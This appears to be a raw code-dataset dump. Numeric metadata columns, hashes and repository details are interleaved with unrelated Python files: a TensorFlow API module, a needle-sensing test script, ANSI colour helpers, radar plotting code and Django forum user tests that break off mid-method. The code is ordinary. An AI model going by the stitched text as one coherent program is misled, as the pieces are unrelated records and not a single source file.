0.028305
0
0
0
0
0
0
null
null
0
0.057143
null
null
0.342857
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
9
559d75ff7167b3124eb1e4ed9f9844c504e31009
2,178
py
Python
python3/lib/python3.6/site-packages/tensorflow/_api/v1/compat/v2/debugging/__init__.py
TruongThuyLiem/keras2tensorflow
726f2370160701081cb43fbd8b56154c10d7ad63
[ "MIT" ]
3
2020-10-12T15:47:01.000Z
2022-01-14T19:51:26.000Z
python3/lib/python3.6/site-packages/tensorflow/_api/v1/compat/v2/debugging/__init__.py
TruongThuyLiem/keras2tensorflow
726f2370160701081cb43fbd8b56154c10d7ad63
[ "MIT" ]
null
null
null
python3/lib/python3.6/site-packages/tensorflow/_api/v1/compat/v2/debugging/__init__.py
TruongThuyLiem/keras2tensorflow
726f2370160701081cb43fbd8b56154c10d7ad63
[ "MIT" ]
2
2020-08-03T13:02:06.000Z
2020-11-04T03:15:44.000Z
# This file is MACHINE GENERATED! Do not edit. # Generated by: tensorflow/python/tools/api/generator/create_python_api.py script. """Public API for tf.debugging namespace. """ from __future__ import print_function as _print_function from tensorflow.python import Assert from tensorflow.python import assert_proper_iterable from tensorflow.python import assert_same_float_dtype from tensorflow.python import check_numerics from tensorflow.python import is_numeric_tensor from tensorflow.python import verify_tensor_all_finite_v2 as assert_all_finite from tensorflow.python.eager.context import get_log_device_placement from tensorflow.python.eager.context import set_log_device_placement from tensorflow.python.ops.check_ops import assert_equal_v2 as assert_equal from tensorflow.python.ops.check_ops import assert_greater_equal_v2 as assert_greater_equal from tensorflow.python.ops.check_ops import assert_greater_v2 as assert_greater from tensorflow.python.ops.check_ops import assert_integer_v2 as assert_integer from tensorflow.python.ops.check_ops import assert_less_equal_v2 as assert_less_equal from tensorflow.python.ops.check_ops import assert_less_v2 as assert_less from tensorflow.python.ops.check_ops import assert_near_v2 as assert_near from tensorflow.python.ops.check_ops import assert_negative_v2 as assert_negative from tensorflow.python.ops.check_ops import assert_non_negative_v2 as assert_non_negative from tensorflow.python.ops.check_ops import assert_non_positive_v2 as assert_non_positive from tensorflow.python.ops.check_ops import assert_none_equal_v2 as assert_none_equal from tensorflow.python.ops.check_ops import assert_positive_v2 as assert_positive from tensorflow.python.ops.check_ops import assert_rank_at_least_v2 as assert_rank_at_least from tensorflow.python.ops.check_ops import assert_rank_in_v2 as assert_rank_in from tensorflow.python.ops.check_ops import assert_rank_v2 as assert_rank from tensorflow.python.ops.check_ops import assert_scalar_v2 as assert_scalar from tensorflow.python.ops.check_ops import assert_shapes_v2 as assert_shapes from tensorflow.python.ops.check_ops import assert_type_v2 as assert_type del _print_function
60.5
91
0.881084
353
2,178
5.09915
0.189802
0.24
0.288889
0.23
0.596667
0.543333
0.481111
0.481111
0.313889
0.121111
0
0.009476
0.079431
2,178
35
92
62.228571
0.888279
0.075758
0
0
1
0
0
0
0
0
0
0
0.785714
1
0
true
0
0.964286
0
0.964286
0.071429
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
1
0
0
1
0
1
0
1
0
0
8
e9ca7c313f8fe26465420e078485b1599f65891f
3,605
py
Python
scripts/unit_testing.py
dlezcan1/python-needle-shape-sensing
9e02831f689ad524b60f01148aa59ad834444322
[ "MIT" ]
2
2021-08-25T01:22:08.000Z
2021-09-13T04:47:02.000Z
scripts/unit_testing.py
dlezcan1/python-needle-shape-sensing
9e02831f689ad524b60f01148aa59ad834444322
[ "MIT" ]
null
null
null
scripts/unit_testing.py
dlezcan1/python-needle-shape-sensing
9e02831f689ad524b60f01148aa59ad834444322
[ "MIT" ]
null
null
null
import numpy as np from needle_shape_sensing.shape_sensing import ShapeSensingFBGNeedle from needle_shape_sensing.intrinsics import SHAPETYPE def main(): ss_fbgneedle = ShapeSensingFBGNeedle.load_json( 'needle_params.json' ) print( ss_fbgneedle ) print() ss_fbgneedle.current_depth = 20 ref = np.random.randint( 1500, 1510, size=(200, ss_fbgneedle.num_channels * ss_fbgneedle.num_activeAreas) ) wls = np.random.randint( 1500, 1510, size=(200, ss_fbgneedle.num_channels * ss_fbgneedle.num_activeAreas) ) wls = ref + np.random.randn(*ref.shape)/100 ss_fbgneedle.update_wavelengths( ref, reference=True ) # test straight needle insertion (Constant Curvature) print( 'Constant Curvature' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.CONSTANT_CURVATURE ) ) ps, Rs = ss_fbgneedle.get_needle_shape() print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # test straight needle insertion (Single bend Single layer) print( 'Single-Bend Single Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.SINGLEBEND_SINGLELAYER ) ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.002 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # test straight needle insertion (Single bend Double layer) print( 'Single-Bend Double Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.SINGLEBEND_DOUBLELAYER, ss_fbgneedle.current_depth // 2 ) ) print( ss_fbgneedle.insertion_parameters ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.000, 0.000 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # test straight needle insertion (Double bend Single layer) print( 'Single-Bend Double Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.DOUBLEBEND_SINGLELAYER, ss_fbgneedle.current_depth // 2 ) ) print( ss_fbgneedle.insertion_parameters ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.002 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() print( "Curved needle:" ) ss_fbgneedle.update_wavelengths( wls, temp_comp=True ) ss_fbgneedle.current_depth = 125 # test straight needle insertion (Single bend Single layer) print( 'Single-Bend Single Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.SINGLEBEND_SINGLELAYER ) ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.002 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # test straight needle insertion (Single bend Double layer) print( 'Single-Bend Double Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.SINGLEBEND_DOUBLELAYER, ss_fbgneedle.current_depth // 2 ) ) print( ss_fbgneedle.insertion_parameters ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.002, 0.001 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # test straight needle insertion (Double bend Single layer) print( 'Single-Bend Double Layer' ) print( "Updated: ", ss_fbgneedle.update_shapetype( SHAPETYPE.DOUBLEBEND_SINGLELAYER, ss_fbgneedle.current_depth // 2 ) ) print( ss_fbgneedle.insertion_parameters ) ps, Rs = ss_fbgneedle.get_needle_shape( 0.002 ) print( ps.shape, Rs.shape, ss_fbgneedle.current_kc, ss_fbgneedle.current_winit ) print() # main if __name__ == "__main__": main() # if __main__
41.918605
111
0.727323
461
3,605
5.418655
0.151844
0.202562
0.144115
0.075661
0.795837
0.795837
0.795837
0.765412
0.765412
0.765412
0
0.022163
0.173925
3,605
85
112
42.411765
0.816655
0.115395
0
0.65
0
0
0.08336
0
0
0
0
0
0
1
0.016667
false
0
0.05
0
0.066667
0.583333
0
0
0
null
1
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
e9d645b3712a3620870ad2cc29d068581f8e1e58
2,984
py
Python
MyShell/COLOR.py
dendenxu/ShellDesign
19d7d45ea586c0b8ee008315d4c56bdd4a691597
[ "MIT" ]
1
2021-08-01T11:42:12.000Z
2021-08-01T11:42:12.000Z
MyShell/COLOR.py
dendenxu/ShellDesign
19d7d45ea586c0b8ee008315d4c56bdd4a691597
[ "MIT" ]
null
null
null
MyShell/COLOR.py
dendenxu/ShellDesign
19d7d45ea586c0b8ee008315d4c56bdd4a691597
[ "MIT" ]
null
null
null
class COLOR: @staticmethod def BOLD(string): return f'\1\33[1m{string}\33[0m\2' @staticmethod def ITALIC(string): return f'\1\33[3m{string}\33[0m\2' @staticmethod def URL(string): return f'\1\33[4m{string}\33[0m\2' @staticmethod def BLINK(string): return f'\1\33[5m{string}\33[0m\2' @staticmethod def BLINK2(string): return f'\1\33[6m{string}\33[0m\2' @staticmethod def SELECTED(string): return f'\1\33[7m{string}\33[0m\2' @staticmethod def BLACK(string): return f'\1\33[30m{string}\33[0m\2' @staticmethod def RED(string): return f'\1\33[31m{string}\33[0m\2' @staticmethod def GREEN(string): return f'\1\33[32m{string}\33[0m\2' @staticmethod def YELLOW(string): return f'\1\33[33m{string}\33[0m\2' @staticmethod def BLUE(string): return f'\1\33[34m{string}\33[0m\2' @staticmethod def VIOLET(string): return f'\1\33[35m{string}\33[0m\2' @staticmethod def BEIGE(string): return f'\1\33[36m{string}\33[0m\2' @staticmethod def WHITE(string): return f'\1\33[37m{string}\33[0m\2' @staticmethod def BLACKBG(string): return f'\1\33[40m{string}\33[0m\2' @staticmethod def REDBG(string): return f'\1\33[41m{string}\33[0m\2' @staticmethod def GREENBG(string): return f'\1\33[42m{string}\33[0m\2' @staticmethod def YELLOWBG(string): return f'\1\33[43m{string}\33[0m\2' @staticmethod def BLUEBG(string): return f'\1\33[44m{string}\33[0m\2' @staticmethod def VIOLETBG(string): return f'\1\33[45m{string}\33[0m\2' @staticmethod def BEIGEBG(string): return f'\1\33[46m{string}\33[0m\2' @staticmethod def WHITEBG(string): return f'\1\33[47m{string}\33[0m\2' @staticmethod def GREY(string): return f'\1\33[90m{string}\33[0m\2' @staticmethod def RED2(string): return f'\1\33[91m{string}\33[0m\2' @staticmethod def GREEN2(string): return f'\1\33[92m{string}\33[0m\2' @staticmethod def YELLOW2(string): return f'\1\33[93m{string}\33[0m\2' @staticmethod def BLUE2(string): return f'\1\33[94m{string}\33[0m\2' @staticmethod def VIOLET2(string): return f'\1\33[95m{string}\33[0m\2' @staticmethod def BEIGE2(string): return f'\1\33[96m{string}\33[0m\2' @staticmethod def WHITE2(string): return f'\1\33[97m{string}\33[0m\2' @staticmethod def GREYBG(string): return f'\1\33[100m{string}\33[0m\2' @staticmethod def REDBG2(string): return f'\1\33[101m{string}\33[0m\2' @staticmethod def GREENBG2(string): return f'\1\33[102m{string}\33[0m\2' @staticmethod def YELLOWBG2(string): return f'\1\33[103m{string}\33[0m\2' @staticmethod def BLUEBG2(string): return f'\1\33[104m{string}\33[0m\2' @staticmethod def VIOLETBG2(string): return f'\1\33[105m{string}\33[0m\2' @staticmethod def BEIGEBG2(string): return f'\1\33[106m{string}\33[0m\2' @staticmethod def WHITEBG2(string): return f'\1\33[107m{string}\33[0m\2'
37.772152
63
0.654826
496
2,984
3.939516
0.175403
0.291709
0.252815
0.272262
0.80348
0.492323
0
0
0
0
0
0.144351
0.166555
2,984
78
64
38.25641
0.641335
0
0
0.493506
0
0
0.319142
0.319142
0
0
0
0
0
1
0.493506
false
0
0
0.493506
0.506494
0
0
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
75c2f4076c6b7b35342a1fe1191be609a92d872c
4,355
py
Python
raincoat/plot_func.py
jdiasn/raincoat
b0249c88f1a5ca22a720285e87be4b06b67705b5
[ "MIT" ]
1
2021-11-07T15:09:23.000Z
2021-11-07T15:09:23.000Z
raincoat/plot_func.py
jdiasn/raincoat
b0249c88f1a5ca22a720285e87be4b06b67705b5
[ "MIT" ]
null
null
null
raincoat/plot_func.py
jdiasn/raincoat
b0249c88f1a5ca22a720285e87be4b06b67705b5
[ "MIT" ]
4
2019-01-01T11:33:14.000Z
2021-01-04T20:34:43.000Z
# -*- coding: utf-8 -*- """ Created on Tue Jan 1 13:28:38 2019 @author: sschoger Functions to Plot Radar and Parsivel Data """ from __future__ import print_function import matplotlib.pyplot as plt import numpy as np import pandas as pd def plotMRR(data, start, end, height, strDate, plotId,figTitle, plot): data=data[start:end] epoch = pd.datetime(1970, 1, 1) newTimes = np.array(data.index, np.float64) legend = np.arange(1,11) * (newTimes[-1] - newTimes[0])/10 legend = legend+newTimes[0] legendDate = epoch + pd.to_timedelta(legend) date=legendDate[0].date().strftime('%Y.%m.%d') X,Y = np.meshgrid(newTimes, data.columns) dataToPlot = np.array(data[start:end]) dataToPlot = np.ma.masked_invalid(dataToPlot) plt.figure(figsize=(15,6)) plt.pcolormesh(X,Y,dataToPlot.T, cmap='jet') plt.ylim(height[0], height[1]) plt.xticks(legend,legendDate.strftime('%H:%M:%S'), rotation=0) plt.ylabel('height [$m$]',fontsize=18) plt.title(figTitle+' '+strDate, fontsize=18) plt.colorbar().set_label('[dBZ]', fontsize=18) plt.grid() if plot == True: out = plotId+'_' plt.savefig(out+figTitle+'.png', format='png', dpi=200,bbox_inches='tight') print(out+figTitle+'.png') return plt.show() def calcPosition(val, xMin, xMax): decVal = (val - xMin)/(xMax - xMin) return decVal def plot_W_Band(data, start, end, height, strDate, plotId, figTitle, plot): data=data[start:end] epoch = pd.datetime(2001, 1, 1, 0, 0, 0) newTimes = np.array(data.index, np.float64) legend = np.arange(1,11) * (newTimes[-1] - newTimes[0])/10 legend = legend+newTimes[0] legendDate = epoch + pd.to_timedelta(legend) date=legendDate[0].date().strftime('%Y.%m.%d') X,Y = np.meshgrid(newTimes, data.columns) dataToPlot = np.array(data[start:end]) dataToPlot = np.ma.masked_invalid(dataToPlot) plt.figure(figsize=(15,6)) plt.pcolormesh(X,Y,dataToPlot.T,vmin=-15, vmax=30, cmap='jet') plt.ylim(height[0], height[1]) plt.xticks(legend,legendDate.strftime('%H:%M:%S'), rotation=0) plt.ylabel('height [$m$]',fontsize=18) plt.title(figTitle+' '+strDate, fontsize=18) plt.colorbar().set_label('[dBZ]', fontsize=18) plt.grid() if plot == True: out = plotId+'_' plt.savefig(out+figTitle+'.png', format='png', dpi=200,bbox_inches='tight') print(out+figTitle+'.png') return plt.show() def plotPARS(data, start, end, height, strDate, plotId,figTitle, plot): # add after plot to run anywhere besides jupyter: ,start, end): data=data[start:end] #figure out how to implement different start and end times!! epoch = pd.datetime(1970, 1, 1) newTimes = np.array(data.index, np.float64) legend = np.arange(1,11) * (newTimes[-1] - newTimes[0])/10 legend = legend+newTimes[0] legendDate = epoch + pd.to_timedelta(legend) date=legendDate[0].date().strftime('%Y.%m.%d') plt.figure(figsize=(15,8)) plt.plot(newTimes, data.Ze) #actually data[start:end] plt.ylabel('Ze [dBZ]', fontsize=18) plt.xticks(legend,legendDate.strftime('%H:%M:%S'), rotation=0) plt.xlim(newTimes[0], newTimes[-1]) plt.title(figTitle+' '+strDate, fontsize=18) plt.legend() plt.grid() if plot == True: out = plotId+'_' plt.savefig(out+figTitle+'.png', format='png', dpi=200,bbox_inches='tight') print(out+figTitle+'.png') return plt.show() def refl_check(data, start, end, height, strDate, figTitle,epoch): data=data[start:end] #epoch = pd.datetime(2001, 1, 1, 0, 0, 0) newTimes = np.array(data.index, np.float64) legend = np.arange(1,11) * (newTimes[-1] - newTimes[0])/10 legend = legend+newTimes[0] legendDate = epoch + pd.to_timedelta(legend) date=legendDate[0].date().strftime('%Y.%m.%d') X,Y = np.meshgrid(newTimes, data.columns) dataToPlot = np.array(data[start:end]) dataToPlot = np.ma.masked_invalid(dataToPlot) plt.pcolormesh(X,Y,dataToPlot.T,vmin=-10, vmax=30, cmap='jet') plt.ylim(height[0], height[1]) plt.xticks(legend,legendDate.strftime('%H:%M'), rotation=0) plt.ylabel('height [$m$]',fontsize=18) plt.title(figTitle+' '+strDate, fontsize=18) plt.colorbar().set_label('[dBZ]', fontsize=18) return plt.grid()
33.5
86
0.643628
627
4,355
4.432217
0.207337
0.037424
0.051817
0.025909
0.812882
0.803886
0.803886
0.779777
0.764304
0.764304
0
0.040839
0.179104
4,355
129
87
33.75969
0.736504
0.070264
0
0.763441
0
0
0.045578
0
0
0
0
0
0
1
0.053763
false
0
0.043011
0
0.150538
0.043011
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
75f08ffdfd5a9e3f4781fe6b49915fb1fc53485d
64,331
py
Python
spirit/user/tests.py
Ke-xueting/Spirit
346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7
[ "MIT" ]
974
2015-01-02T12:56:00.000Z
2022-03-24T00:01:54.000Z
spirit/user/tests.py
Ke-xueting/Spirit
346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7
[ "MIT" ]
247
2015-01-07T02:59:26.000Z
2022-02-23T08:27:57.000Z
spirit/user/tests.py
Ke-xueting/Spirit
346d9a0db125ee8995ba5d0ab0fd8b43aa8c5dc7
[ "MIT" ]
366
2015-01-08T10:22:25.000Z
2022-02-21T12:58:31.000Z
# -*- coding: utf-8 -*- import datetime import importlib from django.test import TestCase, RequestFactory, TransactionTestCase from django.urls import reverse from django.contrib.auth import get_user_model, HASH_SESSION_KEY from django.core import mail from django.utils.translation import gettext as _ from django.utils import timezone from django.test.utils import override_settings from django.contrib.auth.models import AnonymousUser from django.apps import apps from django.db import IntegrityError from django.core.exceptions import ObjectDoesNotExist from django.core.files.uploadedfile import SimpleUploadedFile from django.http import HttpResponse from djconfig.utils import override_djconfig from spirit.core.tests import utils from spirit.core.conf import settings from spirit.core.storage import spirit_storage from .forms import UserProfileForm, EmailChangeForm, UserForm, EmailCheckForm from spirit.comment.like.models import CommentLike from spirit.topic.models import Topic from spirit.comment.models import Comment from spirit.comment.bookmark.models import CommentBookmark from .utils.tokens import ( unsub_token, UserActivationTokenGenerator, UserEmailChangeTokenGenerator) from .utils.email import send_activation_email, send_email_change_email from . import middleware from .models import UserProfile data_migration_profiles = importlib.import_module( 'spirit.user.migrations.0004_auto_20150731_2351') data_migration_11 = importlib.import_module( 'spirit.user.migrations.0011_auto_20181124_2320') User = get_user_model() class UserViewTest(TestCase): def setUp(self): utils.cache_clear() self.user = utils.create_user() self.user2 = utils.create_user() self.category = utils.create_category() self.topic = utils.create_topic(self.category, user=self.user2) self.topic2 = utils.create_topic(self.category) def test_user_views_denied_to_non_logged_users(self): """ profile user's topics, comments, likes should not be seen by guests """ pk = self.user.pk slug = self.user.st.slug response = self.client.get(reverse( 'spirit:user:topics', kwargs={'pk': pk, 'slug': slug})) self.assertEqual(response.status_code, 302) response = self.client.get(reverse( 'spirit:user:detail', kwargs={'pk': pk, 'slug': slug})) self.assertEqual(response.status_code, 302) response = self.client.get(reverse( 'spirit:user:likes', kwargs={'pk': pk, 'slug': slug})) self.assertEqual(response.status_code, 302) response = self.client.get(reverse('spirit:user:update')) self.assertEqual(response.status_code, 302) response = self.client.get(reverse('spirit:user:password-change')) self.assertEqual(response.status_code, 302) response = self.client.get(reverse('spirit:user:email-change')) self.assertEqual(response.status_code, 302) response = self.client.get(reverse( 'spirit:user:email-change-confirm', kwargs={'token': "foo"})) self.assertEqual(response.status_code, 302) @override_settings(ST_CASE_INSENSITIVE_USERNAMES=True) def test_profile_creation_on_register_case_insensitive_user(self): form_data = { 'username': 'UnIqUeFoO', 'email': 'some@some.com', 'email2': 'some@some.com', 'password': 'pass'} response = self.client.post( reverse('spirit:user:auth:register'), form_data) expected_url = reverse('spirit:user:auth:login') self.assertRedirects(response, expected_url, status_code=302) self.assertTrue( UserProfile.objects.filter( nickname='UnIqUeFoO', user__username='uniquefoo' ).exists()) self.assertFalse( UserProfile.objects.filter(nickname='uniquefoo').exists()) @override_settings(ST_CASE_INSENSITIVE_USERNAMES=False) def test_profile_creation_on_register_case_insensitive_user_off(self): form_data = { 'username': 'UnIqUeFoO', 'email': 'some@some.com', 'email2': 'some@some.com', 'password': 'pass'} response = self.client.post( reverse('spirit:user:auth:register'), form_data) expected_url = reverse('spirit:user:auth:login') self.assertRedirects(response, expected_url, status_code=302) self.assertTrue( UserProfile.objects.filter( nickname='UnIqUeFoO', user__username='UnIqUeFoO' ).exists()) def test_profile_topics(self): """ profile user's topics """ utils.login(self) response = self.client.get( reverse("spirit:user:topics", kwargs={ 'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['topics']), [self.topic]) self.assertEqual(response.context['p_user'], self.user2) def test_profile_topics_order(self): """ topics ordered by date """ Topic.objects.all().delete() category = utils.create_category() topic_a = utils.create_topic(category=category, user=self.user2) topic_b = utils.create_topic(category=category, user=self.user2) topic_c = utils.create_topic(category=category, user=self.user2) Topic.objects.filter(pk=topic_a.pk).update( date=timezone.now() - datetime.timedelta(days=10)) Topic.objects.filter(pk=topic_c.pk).update( date=timezone.now() - datetime.timedelta(days=5)) utils.login(self) response = self.client.get(reverse( "spirit:user:topics", kwargs={ 'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual( list(response.context['topics']), [topic_b, topic_c, topic_a]) def test_profile_topics_bookmarks(self): """ profile user's topics with bookmarks """ bookmark = CommentBookmark.objects.create(topic=self.topic, user=self.user) utils.login(self) response = self.client.get(reverse( "spirit:user:topics", kwargs={ 'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['topics']), [self.topic]) self.assertEqual(response.context['topics'][0].bookmark, bookmark) @override_djconfig(topics_per_page=1) def test_profile_topics_paginate(self): """ profile user's topics paginated """ topic = utils.create_topic(self.category, user=self.user2) utils.login(self) response = self.client.get(reverse( "spirit:user:topics", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['topics']), [topic]) def test_profile_topics_dont_show_removed_or_private(self): """ dont show private topics or removed """ Topic.objects.all().delete() category = utils.create_category() category_removed = utils.create_category(is_removed=True) subcategory = utils.create_category(parent=category_removed) subcategory_removed = utils.create_category(parent=category, is_removed=True) utils.create_private_topic(user=self.user2) utils.create_topic(category=category, user=self.user2, is_removed=True) utils.create_topic(category=category_removed, user=self.user2) utils.create_topic(category=subcategory, user=self.user2) utils.create_topic(category=subcategory_removed, user=self.user2) utils.login(self) response = self.client.get(reverse( "spirit:user:topics", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(list(response.context['topics']), []) def test_profile_topics_invalid_slug(self): """ profile user's topics """ utils.login(self) response = self.client.get(reverse( "spirit:user:topics", kwargs={'pk': self.user2.pk, 'slug': "invalid"})) expected_url = reverse( "spirit:user:topics", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug}) self.assertRedirects(response, expected_url, status_code=301) def test_profile_comments(self): """ profile user's comments """ utils.login(self) comment = utils.create_comment(user=self.user2, topic=self.topic) utils.create_comment(user=self.user, topic=self.topic) response = self.client.get(reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['comments']), [comment]) self.assertEqual(response.context['p_user'], self.user2) def test_profile_comments_order(self): """ comments ordered by date """ comment_a = utils.create_comment(user=self.user2, topic=self.topic) comment_b = utils.create_comment(user=self.user2, topic=self.topic) comment_c = utils.create_comment(user=self.user2, topic=self.topic) Comment.objects.filter(pk=comment_a.pk).update( date=timezone.now() - datetime.timedelta(days=10)) Comment.objects.filter(pk=comment_c.pk).update( date=timezone.now() - datetime.timedelta(days=5)) utils.login(self) response = self.client.get(reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual( list(response.context['comments']), [comment_b, comment_c, comment_a]) @override_djconfig(comments_per_page=1) def test_profile_comments_paginate(self): """ profile user's comments paginated """ utils.create_comment(user=self.user2, topic=self.topic) comment = utils.create_comment(user=self.user2, topic=self.topic) utils.login(self) response = self.client.get(reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['comments']), [comment]) def test_profile_comments_dont_show_removed_or_private(self): """ dont show private topics or removed """ category = utils.create_category() category_removed = utils.create_category(is_removed=True) subcategory = utils.create_category(parent=category_removed) subcategory_removed = utils.create_category(parent=category, is_removed=True) topic_a = utils.create_private_topic(user=self.user2) topic_b = utils.create_topic(category=category, is_removed=True) topic_c = utils.create_topic(category=category_removed) topic_d = utils.create_topic(category=subcategory) topic_e = utils.create_topic(category=subcategory_removed) utils.create_comment(user=self.user2, topic=topic_a.topic) utils.create_comment(user=self.user2, topic=topic_b) utils.create_comment(user=self.user2, topic=topic_c) utils.create_comment(user=self.user2, topic=topic_d) utils.create_comment(user=self.user2, topic=topic_e) utils.login(self) response = self.client.get(reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(list(response.context['comments']), []) def test_profile_comments_invalid_slug(self): """ profile user's comments, invalid user slug """ utils.login(self) response = self.client.get(reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': "invalid"})) expected_url = reverse( "spirit:user:detail", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug}) self.assertRedirects(response, expected_url, status_code=301) def test_profile_likes(self): """ profile user's likes """ utils.login(self) comment = utils.create_comment(user=self.user, topic=self.topic) comment2 = utils.create_comment(user=self.user2, topic=self.topic) like = CommentLike.objects.create(user=self.user2, comment=comment) CommentLike.objects.create(user=self.user, comment=comment2) response = self.client.get(reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['comments']), [like.comment]) self.assertEqual(response.context['p_user'], self.user2) def test_profile_likes_order(self): """ comments ordered by date """ comment_a = utils.create_comment(user=self.user, topic=self.topic) comment_b = utils.create_comment(user=self.user, topic=self.topic) comment_c = utils.create_comment(user=self.user, topic=self.topic) like_a = CommentLike.objects.create(user=self.user2, comment=comment_a) CommentLike.objects.create(user=self.user2, comment=comment_b) like_c = CommentLike.objects.create(user=self.user2, comment=comment_c) CommentLike.objects.filter(pk=like_a.pk).update( date=timezone.now() - datetime.timedelta(days=10)) CommentLike.objects.filter(pk=like_c.pk).update( date=timezone.now() - datetime.timedelta(days=5)) utils.login(self) response = self.client.get(reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual( list(response.context['comments']), [comment_b, comment_c, comment_a]) def test_profile_likes_dont_show_removed_or_private(self): """ dont show private topics or removed """ category = utils.create_category() category_removed = utils.create_category(is_removed=True) subcategory = utils.create_category(parent=category_removed) subcategory_removed = utils.create_category(parent=category, is_removed=True) topic_a = utils.create_private_topic(user=self.user2) topic_b = utils.create_topic(category=category, is_removed=True) topic_c = utils.create_topic(category=category_removed) topic_d = utils.create_topic(category=subcategory) topic_e = utils.create_topic(category=subcategory_removed) comment_a = utils.create_comment(user=self.user2, topic=topic_a.topic) comment_b = utils.create_comment(user=self.user, topic=topic_b) comment_c = utils.create_comment(user=self.user, topic=topic_c) comment_d = utils.create_comment(user=self.user, topic=topic_d) comment_e = utils.create_comment(user=self.user, topic=topic_e) CommentLike.objects.create(user=self.user2, comment=comment_a) CommentLike.objects.create(user=self.user2, comment=comment_b) CommentLike.objects.create(user=self.user2, comment=comment_c) CommentLike.objects.create(user=self.user2, comment=comment_d) CommentLike.objects.create(user=self.user2, comment=comment_e) utils.login(self) response = self.client.get(reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(list(response.context['comments']), []) def test_profile_likes_invalid_slug(self): """ profile user's likes, invalid user slug """ utils.login(self) response = self.client.get(reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': "invalid"})) expected_url = reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug}) self.assertRedirects(response, expected_url, status_code=301) @override_djconfig(comments_per_page=1) def test_profile_likes_paginate(self): """ profile user's likes paginate """ comment = utils.create_comment(user=self.user2, topic=self.topic) comment2 = utils.create_comment(user=self.user2, topic=self.topic) CommentLike.objects.create(user=self.user2, comment=comment) like = CommentLike.objects.create(user=self.user2, comment=comment2) utils.login(self) response = self.client.get(reverse( "spirit:user:likes", kwargs={'pk': self.user2.pk, 'slug': self.user2.st.slug})) self.assertEqual(response.status_code, 200) self.assertEqual(list(response.context['comments']), [like.comment]) def test_profile_update(self): """ profile update """ utils.login(self) # get response = self.client.get(reverse('spirit:user:update')) self.assertEqual(response.status_code, 200) # post form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER} response = self.client.post( reverse('spirit:user:update'), form_data) expected_url = reverse('spirit:user:update') self.assertRedirects(response, expected_url, status_code=302) @utils.with_test_storage @utils.immediate_on_commit @override_settings(ST_ALLOWED_AVATAR_FORMAT=('gif',)) def test_profile_update_avatar(self): utils.clean_media() utils.login(self) content = ( b'GIF87a\x01\x00\x01\x00\x80\x01\x00\x00\x00\x00ccc,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') form_data = { 'first_name': 'foo', 'last_name': 'bar', 'location': 'spirit', 'timezone': self.user.st.timezone, 'notify_when': self.user.st.Notify.NEVER, 'avatar': SimpleUploadedFile('foo.gif', content=content)} response = self.client.post( reverse('spirit:user:update'), form_data) expected_url = reverse('spirit:user:update') 